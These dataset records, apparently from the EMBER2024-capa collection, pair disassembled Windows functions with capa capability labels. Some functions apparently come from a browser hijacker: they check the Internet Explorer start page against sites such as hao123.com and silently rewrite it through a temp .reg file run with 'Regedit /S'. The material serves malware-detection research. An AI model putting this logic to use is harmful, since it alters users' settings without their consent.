joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46acbc
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xfffffefc
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xac], 0
je 0x46ad26
mov eax, ebx
call fcn.0046d0b8
test al, al
jne 0x46ad26
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404ca4
mov eax, dword [esi]
mov dword [esp + 0x100], eax
mov eax, dword [esp + 0x100]
test eax, eax
je 0x46ad13
sub eax, 4
mov eax, dword [eax]
test eax, eax
jne 0x46ad33
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404c08
jmp 0x46ad33
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404c08
add esp, 0x104
pop esi
pop ebx
ret

Function at 0x46c1dc
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x46c24a
mov eax, esi
call fcn.0044cb88
test al, al
je 0x46c24a
mov eax, dword [ebx + 0x84]
call fcn.0044c7e8
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x46c24a
mov eax, dword [ebx + 0x84]
mov edx, dword [eax]
call dword [edx + 0xf0]
test al, al
je 0x46c23e
push 0
mov eax, dword [ebx + 0x84]
call fcn.0044c7e8
push eax
call sub.user32.dll_ShowWindow
xor edx, edx
mov eax, dword [ebx + 0x84]
call fcn.00444658
jmp 0x46c24a
mov cl, 1
mov edx, dword [ebx + 0x74]
mov eax, ebx
call fcn.0046c018
pop esi
pop ebx
ret

Function at 0x490c2f
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor ebx, ebx
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.SoftwareBorlandDatabase_Engine
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x490c87
movzx edx, word [ebp + 8]
mov dword [ebp - 8], edx
lea ecx, [ebp - 8]
push ecx
push dword [ebp + 0xc]
push 0
push 0
push str.DLLPATH
push dword [ebp - 4]
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x490c7d
mov bx, 0x2a04
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey_1
jmp 0x490c8b
mov bx, 0x2a04
mov eax, ebx
pop ebx
pop ecx
pop ecx
pop ebp
ret 8
Function at 0x4a8458
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x4a8486
mov eax, ebx
call fcn.004a8f0c
cmp dword [ebx + 0x40], 0
je 0x4a847f
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x4a84f7
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x4a84e9
cmp dword [ebx + 8], 0
je 0x4a84a8
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x4a84ba
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x4a84e9
cmp dword [ebx + 8], 0
je 0x4a849b
cmp eax, 3
je 0x4a84cd
dec eax
jne 0x4a849b
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x4a849b
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x4a849b
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x4a8515
cmp dword [ebx + 0x14], 0xcc
je 0x4a8515
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.004a8520
pop ebx
ret
Function at 0x4bcec4
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov ebx, eax
xor eax, eax
push ebp
push 0x4bd156
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebx + 0x39c]
call fcn.00489d40
test al, al
je 0x4bcef9
mov eax, dword [ebx + 0x39c]
call fcn.00489bb4
cmp dword [ebx + 0x3d0], 0
jne 0x4bcf1f
mov eax, dword [ebx + 0x39c]
mov eax, dword [eax + 0x248]
mov ecx, 0x4bd16c
mov edx, 1
mov esi, dword [eax]
call dword [esi + 0x20]
jmp 0x4bcf56
lea edx, [ebp - 8]
mov eax, dword [ebx + 0x3d0]
call fcn.00409654
mov ecx, dword [ebp - 8]
lea eax, [ebp - 4]
mov edx, 0x4bd188
call fcn.00404ecc
mov ecx, dword [ebp - 4]
mov eax, dword [ebx + 0x39c]
mov eax, dword [eax + 0x248]
mov edx, 1
mov esi, dword [eax]
call dword [esi + 0x20]
mov eax, dword [ebx + 0x39c]
call fcn.00489ba0
mov eax, dword [ebx + 0x39c]
call fcn.0048c07c
test al, al
je 0x4bcfc2
mov eax, dword [ebx + 0x39c]
call fcn.00489bb4
mov eax, dword [ebx + 0x39c]
mov eax, dword [eax + 0x248]
mov ecx, 0x4bd16c
mov edx, 1
mov esi, dword [eax]
call dword [esi + 0x20]
mov eax, dword [ebx + 0x39c]
call fcn.00489ba0
mov eax, dword [ebx + 0x39c]
call fcn.0048c07c
test al, al
je 0x4bd00d
mov eax, 0x4bd1b0
call fcn.00405044
push eax
call sub.kernel32.dll_DeleteFileA
jmp 0x4bd00d
mov eax, dword [ebx + 0x3a0]
call fcn.00489bb4
mov edx, 0x4bd1c8
mov eax, dword [ebx + 0x3a0]
call fcn.004a1d5c
mov edx, 1
call fcn.00488d90
mov eax, dword [ebx + 0x3a0]
call fcn.00489ba0
mov edx, 0x4bd1b0
mov eax, dword [ebx + 0x3a4]
call fcn.00484bb0
mov eax, dword [ebx + 0x3a0]
call fcn.00489bb4
mov eax, dword [ebx + 0x39c]
call fcn.00489d40
test al, al
je 0x4bd027
mov eax, dword [ebx + 0x39c]
call fcn.00489bb4
cmp dword [ebx + 0x3d0], 0
jne 0x4bd04d
mov eax, dword [ebx + 0x39c]
mov eax, dword [eax + 0x248]
mov ecx, 0x4bd1d8
mov edx, 1
mov esi, dword [eax]
call dword [esi + 0x20]
jmp 0x4bd084
lea edx, [ebp - 0x10]
mov eax, dword [ebx + 0x3d0]
call fcn.00409654
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0xc]
mov edx, 0x4bd1f4
call fcn.00404ecc
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebx + 0x39c]
mov eax, dword [eax + 0x248]
mov edx, 1
mov esi, dword [eax]
call dword [esi + 0x20]
mov eax, dword [ebx + 0x39c]
call fcn.00489ba0
mov eax, dword [ebx + 0x39c]
call fcn.0048c07c
test al, al
je 0x4bd0f0
mov eax, dword [ebx + 0x39c]
call fcn.00489bb4
mov eax, dword [ebx + 0x39c]
mov eax, dword [eax + 0x248]
mov ecx, 0x4bd1d8
mov edx, 1
mov esi, dword [eax]
call dword [esi + 0x20]
mov eax, dword [ebx + 0x39c]
call fcn.00489ba0
mov eax, dword [ebx + 0x39c]
call fcn.0048c07c
test al, al
je 0x4bd13b
mov eax, 0x4bd21c
call fcn.00405044
push eax
call sub.kernel32.dll_DeleteFileA
jmp 0x4bd13b
mov eax, dword [ebx + 0x3a0]
call fcn.00489bb4
mov edx, 0x4bd1c8
mov eax, dword [ebx + 0x3a0]
call fcn.004a1d5c
mov edx, 2
call fcn.00488d90
mov eax, dword [ebx + 0x3a0]
call fcn.00489ba0
mov edx, 0x4bd21c
mov eax, dword [ebx + 0x3a4]
call fcn.00484bb0
mov eax, dword [ebx + 0x3a0]
call fcn.00489bb4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4bd15d
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00404bd8
ret
Function at 0x4bd544
Capabilities:
Get hostname

Disassembly:
push ebx
add esp, 0xffffffe8
mov ebx, edx
mov eax, ebx
call fcn.00404bb4
mov dword [esp], 0x10
push esp
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_GetComputerNameA
mov edx, ebx
lea eax, [esp + 4]
call fcn.0040a260
add esp, 0x18
pop ebx
ret

Function at 0x4bd574
Capabilities:
Connect network resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd0
push ebx
xor edx, edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x24], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4bd6bd
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x4bd6d4
mov eax, dword [ebx + 0x37c]
call fcn.00444768
mov eax, dword [0x4c8e10]
mov edx, dword [eax]
call dword [edx + 0x8c]
lea edx, [ebp - 0x24]
mov eax, dword [ebx + 0x3c8]
call fcn.004095b0
cmp dword [ebp - 0x24], 0
je 0x4bd68b
mov dword [ebp - 0x1c], 1
mov eax, 0x4bd6ec
mov dword [ebp - 0x10], eax
push 0x4bd6f8
lea edx, [ebp - 0x2c]
mov eax, dword [ebx + 0x3c8]
call fcn.004095b0
push dword [ebp - 0x2c]
push 0x4bd704
lea eax, [ebp - 0x28]
mov edx, 3
call fcn.00404f48
mov eax, dword [ebp - 0x28]
call fcn.00405044
mov dword [ebp - 0xc], eax
mov eax, 0x4bd70c
mov dword [ebp - 4], eax
push 0
push 0x4bd710
push 0x4bd70c
lea eax, [ebp - 0x20]
push eax
call sub.mpr.dll_WNetAddConnection2A
mov edx, 0x4bd720
mov eax, dword [ebx + 0x37c]
call fcn.00444768
mov eax, dword [0x4c8e10]
mov edx, dword [eax]
call dword [edx + 0x8c]
push 0x4bd6f8
push dword [ebx + 0x3c8]
push 0x4bd73c
push 0x4bd74c
lea eax, [ebp - 0x30]
mov edx, 4
call fcn.00404f48
mov edx, dword [ebp - 0x30]
mov ecx, 0x4bd74c
mov eax, ebx
call fcn.004bd7c0
push 0xffffffffffffffff
push 0
push 0x4bd6ec
call sub.mpr.dll_WNetCancelConnection2A
jmp 0x4bd695
mov eax, 0x4bd764
call fcn.0043d800
mov eax, dword [0x4c8e10]
mov edx, dword [eax]
call dword [edx + 0x8c]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4bd6c4
lea eax, [ebp - 0x30]
mov edx, 4
call fcn.00404bd8
ret
Function at 0x4010fc
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x52c266
mov eax, dword fs:[0]
push eax
sub esp, 0x618
mov eax, dword [0x57bd44]
xor eax, esp
mov dword [esp + 0x610], eax
push ebx
push esi
push edi
mov eax, dword [0x57bd44]
xor eax, esp
push eax
lea eax, [esp + 0x628]
mov dword fs:[0], eax
mov ebx, ecx
call fcn.0040fc9e
xor esi, esi
push esi
call fcn.004107bc
push 0xc
call fcn.00405470
pop ecx
pop ecx
mov dword [esp + 0x18], eax
mov dword [esp + 0x630], esi
cmp eax, esi
je 0x401170
mov ecx, eax
call fcn.00410f6b
mov dword [esp + 0x18], eax
jmp 0x401174
mov dword [esp + 0x18], esi
or dword [esp + 0x630], 0xffffffff
push str..Main_gamex.ini
lea ecx, [esp + 0x18]
call fcn.00401712
push dword [esp + 0x14]
mov edi, 0x100
push edi
lea eax, [ebx + 0x11c]
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push 0x55a08c
push str.AppName
call esi
test eax, eax
jne 0x4011d1
mov ecx, dword [esp + 0x14]
add ecx, 0xfffffff0
call fcn.004019f4
push 0
push 0
push 0x55a044
call fcn.00411358
jmp 0x401257
push dword [esp + 0x14]
lea eax, [ebx + 0xb8]
push edi
push eax
push 0
push 0x55a0a8
push str.Main
call esi
test eax, eax
je 0x4011b2
push dword [esp + 0x14]
lea eax, [ebx + 0x180]
push edi
push eax
push 0
push str.Name
push str.Params
call esi
mov ecx, dword [esp + 0x14]
add ecx, 0xfffffff0
call fcn.004019f4
lea eax, [esp + 0x1c]
push eax
call fcn.00401a2c
xor esi, esi
lea eax, [esp + 0x1c]
inc esi
mov dword [esp + 0x630], esi
mov ecx, eax
mov dword [ebx + 0x20], eax
call fcn.00411bf4
mov ecx, dword [esp + 0x18]
test ecx, ecx
je 0x401245
mov eax, dword [ecx]
push esi
call dword [eax + 4]
or dword [esp + 0x630], 0xffffffff
lea eax, [esp + 0x1c]
push eax
call fcn.0040127d
xor eax, eax
mov ecx, dword [esp + 0x628]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x610]
xor ecx, esp
call fcn.00505854
mov esp, ebp
pop ebp
ret
Function at 0x401bc5
Capabilities:
Create thread

Disassembly:
push 0xc
mov eax, 0x52c191
call fcn.0050786c
mov edi, ecx
call fcn.004118e1
call fcn.00415dbc
mov eax, dword [eax + 4]
mov esi, dword [eax + 0x64]
push esi
call fcn.004016d3
pop ecx
push eax
push esi
lea ecx, [edi + 0x3a0]
call fcn.00401917
push dword [edi + 0xb8]
mov esi, dword [sym.imp.USER32.dll_SendMessageW]
push 1
push 0x80
push dword [edi + 0x20]
call esi
push dword [edi + 0xb8]
xor ebx, ebx
push ebx
push 0x80
push dword [edi + 0x20]
call esi
mov eax, dword [0x583c94]
add eax, 0x11c
push eax
lea ecx, [ebp - 0x10]
call fcn.00401712
push 0x559e0c
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 4], ebx
call fcn.0040289a
add esp, 0xc
mov byte [ebp - 4], 1
push dword [eax]
mov ecx, edi
call fcn.0040d5bc
mov byte [ebp - 4], bl
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
call fcn.004019f4
push 0x559e18
push 0x20
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x2bc
push ebx
push ebx
push ebx
push 0x15
call dword [sym.imp.GDI32.dll_CreateFontW]
push eax
mov ecx, 0x57d478
call fcn.004131b6
push 0x3eb
mov ecx, edi
call fcn.0040d4a6
mov ecx, dword [0x57d47c]
push 1
push ecx
push 0x30
push dword [eax + 0x20]
call esi
push edi
push 1
lea ecx, [edi + 0x1e4]
call fcn.0041692b
push edi
push 2
lea ecx, [edi + 0x278]
call fcn.0041692b
push edi
push 3
lea ecx, [edi + 0x30c]
call fcn.0041692b
push 0x559ee0
push 0x9f
lea esi, [edi + 0x3a8]
push esi
call fcn.004047b3
test eax, eax
je 0x401cf6
call fcn.00404706
push 0x559ee8
push 0x9e
lea esi, [edi + 0x498]
push esi
call fcn.004047b3
test eax, eax
je 0x401d15
call fcn.00404706
lea eax, [ebp - 0x18]
push eax
push ebx
push edi
push 0x4023b4
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.004019f4
xor eax, eax
inc eax
call fcn.00507944
ret

Function at 0x402f91
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
push esi
push 0
xor esi, esi
inc esi
push esi
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_InternetCheckConnectionW]
test eax, eax
jne 0x402faa
xor esi, esi
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.004019f4
mov eax, esi
pop esi
pop ebp
ret
Function at 0x402fde
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x10
mov eax, 0x52c04b
call fcn.0050786c
and dword [ebp - 0x14], 0
push 0x559548
lea ecx, [ebp - 0x10]
call fcn.00401712
and dword [ebp - 4], 0
lea eax, [ebp - 0x14]
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftInternet_ExplorerMain_
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x403031
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.004019f4
xor eax, eax
call fcn.00507944
ret
push 0x50
call fcn.004054aa
pop ecx
mov edi, eax
lea eax, [ebp - 0x18]
push eax
push edi
lea eax, [ebp - 0x1c]
push eax
push 0
push str.Start_Page
push dword [ebp - 0x14]
xor ebx, ebx
inc ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], 0x50
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edi
test eax, eax
je 0x40307d
call fcn.0040549f
pop ecx
xor ebx, ebx
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.004019f4
mov eax, ebx
jmp 0x40302b
lea eax, [ebp - 0x10]
push 0x5595d0
push eax
call fcn.00401451
push edi
call fcn.0040549f
add esp, 0x10
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.baidu.com
push dword [ebp - 0x10]
call fcn.00505f9a
pop ecx
pop ecx
test eax, eax
jne 0x4030ca
push str.hao123.com
push dword [ebp - 0x10]
call fcn.00505f9a
pop ecx
pop ecx
mov byte [0x583a20], 0
test eax, eax
je 0x4030d0
mov byte [0x583a20], bl
push 0x5595f0
push dword [ebp - 0x10]
call fcn.00505f9a
pop ecx
pop ecx
test eax, eax
jne 0x40306e
push str.hao111.com
push dword [ebp - 0x10]
call fcn.00505f9a
pop ecx
pop ecx
test eax, eax
jne 0x40306e
push 0x55961c
push dword [ebp - 0x10]
call fcn.00505f9a
pop ecx
pop ecx
test eax, eax
jne 0x40306e
push str.99danji.com
push dword [ebp - 0x10]
call fcn.00505f9a
pop ecx
pop ecx
test eax, eax
jne 0x40306e
jmp 0x40306c
Function at 0x40312d
Capabilities:
Create process on windows
Create process suspended
Get common file path

Disassembly:
push 0x6a0
mov eax, 0x52c01b
call fcn.0050790b
xor ebx, ebx
xor eax, eax
mov esi, 0x206
mov dword [ebp - 4], ebx
push esi
mov word [ebp - 0x62c], ax
lea eax, [ebp - 0x62a]
push ebx
push eax
call fcn.005079d0
xor eax, eax
push esi
mov word [ebp - 0x21c], ax
lea eax, [ebp - 0x21a]
push ebx
push eax
call fcn.005079d0
push 6
pop ecx
push 0x1f0
lea eax, [ebp - 0x40c]
push ebx
mov esi, str.Regedit__S
lea edi, [ebp - 0x424]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.005079d0
add esp, 0x24
lea edi, [ebp - 0x634]
call fcn.0040376f
push 0x559668
push 0x559670
mov ecx, edi
mov byte [ebp - 4], 1
call fcn.00403d23
lea eax, [ebp - 0x62c]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x403365
lea eax, [ebp - 0x62c]
push eax
lea eax, [ebp - 0x21c]
push esi
push eax
call fcn.00506c69
push 0x559674
lea eax, [ebp - 0x21c]
push esi
push eax
call fcn.00505f25
add esp, 0x18
push str.Windows_Registry_Editor_Version_5.00_n
lea ecx, [ebp - 0x630]
call fcn.00401712
mov edi, str._HKEY_CURRENT_USERSoftwareMicrosoftInternet_ExplorerMain__n
push edi
mov byte [ebp - 4], 2
call fcn.004016d3
pop ecx
push eax
push edi
lea ecx, [ebp - 0x630]
call fcn.00402790
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x638]
push str._Start_Page__
push eax
call fcn.004040d8
push 0x559760
push eax
lea eax, [ebp - 0x63c]
push eax
mov byte [ebp - 4], 3
call fcn.0040289a
add esp, 0x18
mov byte [ebp - 4], 4
mov eax, dword [eax]
push dword [eax - 0xc]
lea ecx, [ebp - 0x630]
push eax
call fcn.00402790
mov ecx, dword [ebp - 0x63c]
add ecx, 0xfffffff0
call fcn.004019f4
mov ecx, dword [ebp - 0x638]
add ecx, 0xfffffff0
call fcn.004019f4
push 0x1002
lea eax, [ebp - 0x21c]
push eax
lea ecx, [ebp - 0x668]
mov byte [ebp - 4], 5
call fcn.00417c13
mov byte [ebp - 4], 6
push dword [ebp - 0x630]
lea ecx, [ebp - 0x668]
call fcn.004177a5
lea ecx, [ebp - 0x668]
call fcn.0041796b
lea ecx, [ebp - 0x668]
mov byte [ebp - 4], 5
call fcn.004179a9
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x424]
push esi
push eax
call fcn.00505f25
push 0x44
pop esi
push esi
lea eax, [ebp - 0x6ac]
push ebx
push eax
call fcn.005079d0
xor eax, eax
lea edi, [ebp - 0x64c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0x18
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x64c]
push eax
lea eax, [ebp - 0x6ac]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x424]
push eax
push ebx
mov dword [ebp - 0x6ac], esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x403357
push 0xffffffffffffffff
push dword [ebp - 0x64c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x64c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x648]
call esi
mov ecx, dword [ebp - 0x630]
add ecx, 0xfffffff0
call fcn.004019f4
mov ecx, dword [ebp - 0x634]
add ecx, 0xfffffff0
call fcn.004019f4
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.004019f4
xor eax, eax
call fcn.00507967
ret
Function at 0x40376f
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x14
mov eax, 0x52bf4e
call fcn.0050786c
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
push 0x5598fc
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x14], ebx
call fcn.00401712
lea eax, [ebp - 0x14]
push eax
push 0x20019
push ebx
push str.Applicationsiexplore.exe_shellopencommand_
push SysReAllocString
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x4037be
push ebx
mov ecx, edi
call fcn.00401712
jmp 0x4038d3
push 0x104
call fcn.004054aa
pop ecx
mov esi, eax
lea eax, [ebp - 0x18]
push eax
push esi
lea eax, [ebp - 0x1c]
push eax
push ebx
push ebx
push dword [ebp - 0x14]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x18], 0xff
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
test eax, eax
je 0x4037fa
call fcn.0040549f
pop ecx
jmp 0x4037b1
lea eax, [ebp - 0x10]
push 0x55995c
push eax
call fcn.00401451
push esi
call fcn.0040549f
add esp, 0x10
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
push 0x559964
lea ecx, [ebp - 0x10]
call fcn.00403e72
test eax, eax
jne 0x40388b
mov eax, dword [ebp - 0x10]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x403832
sub eax, edx
sar eax, 1
dec eax
push eax
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x10]
call fcn.00403ed1
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 1
call fcn.0040294e
mov byte [ebp - 4], bl
mov ecx, dword [ebp - 0x20]
add ecx, 0xfffffff0
call fcn.004019f4
push ebx
push 0x559968
lea ecx, [ebp - 0x10]
call fcn.00403e72
push eax
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x10]
call fcn.00403f21
mov byte [ebp - 4], 2
jmp 0x4038aa
push ebx
push 0x55996c
lea ecx, [ebp - 0x10]
call fcn.00403e72
push eax
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x10]
call fcn.00403f21
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x10]
call fcn.0040294e
mov byte [ebp - 4], bl
mov ecx, dword [ebp - 0x20]
add ecx, 0xfffffff0
call fcn.004019f4
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
push eax
call fcn.0040299e
add eax, 0x10
pop ecx
mov dword [edi], eax
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.004019f4
mov eax, edi
call fcn.00507944
ret
Function at 0x404706
Capabilities:
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
xor edi, edi
cmp dword [esi + 0xac], edi
je 0x404748
mov eax, esi
call fcn.004050c7
test eax, eax
je 0x40474d
lea eax, [ebp - 8]
push eax
push 4
push esi
push 0x404a86
push edi
push edi
call fcn.00506eaf
add esp, 0x18
mov dword [esi + 0xc8], eax
cmp eax, edi
je 0x404748
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
pop edi
leave
ret
mov eax, dword [esi + 0xd0]
cmp eax, edi
je 0x404748
mov ecx, dword [eax]
lea edx, [ebp - 8]
push edx
push eax
call dword [ecx + 0x18]
mov eax, dword [esi + 0xd0]
mov ecx, dword [eax]
lea edx, [ebp - 4]
push edx
push eax
call dword [ecx + 0x1c]
mov edx, dword [ebp - 4]
mov eax, dword [esi + 0xd0]
push edi
mov ecx, dword [eax]
neg edx
push edx
push dword [ebp - 8]
push dword [ebp - 4]
push edi
push dword [esi + 0x88]
push dword [esi + 0x84]
push edi
push edi
push dword [esi + 0xb0]
push eax
call dword [ecx + 0x20]
test eax, eax
jne 0x404748
push edi
push edi
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_InvalidateRect]
xor eax, eax
inc eax
jmp 0x40474a

Function at 0x4047b3
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
call fcn.00415dbc
push dword [ebp + 0x10]
mov eax, dword [eax + 0xc]
push dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x40485a
call fcn.00415dbc
mov eax, dword [eax + 0xc]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp + 0x10], eax
test eax, eax
je 0x40485a
call fcn.00415dbc
mov eax, dword [eax + 0xc]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
push edi
push 0x22
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x40485a
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push dword [ebp + 0x10]
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
je 0x404853
test ebx, ebx
je 0x404853
push edi
push eax
push ebx
call fcn.00509a30
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push edi
push esi
push dword [ebp + 8]
call fcn.004042b7
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, edi
jmp 0x40485c
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret 0xc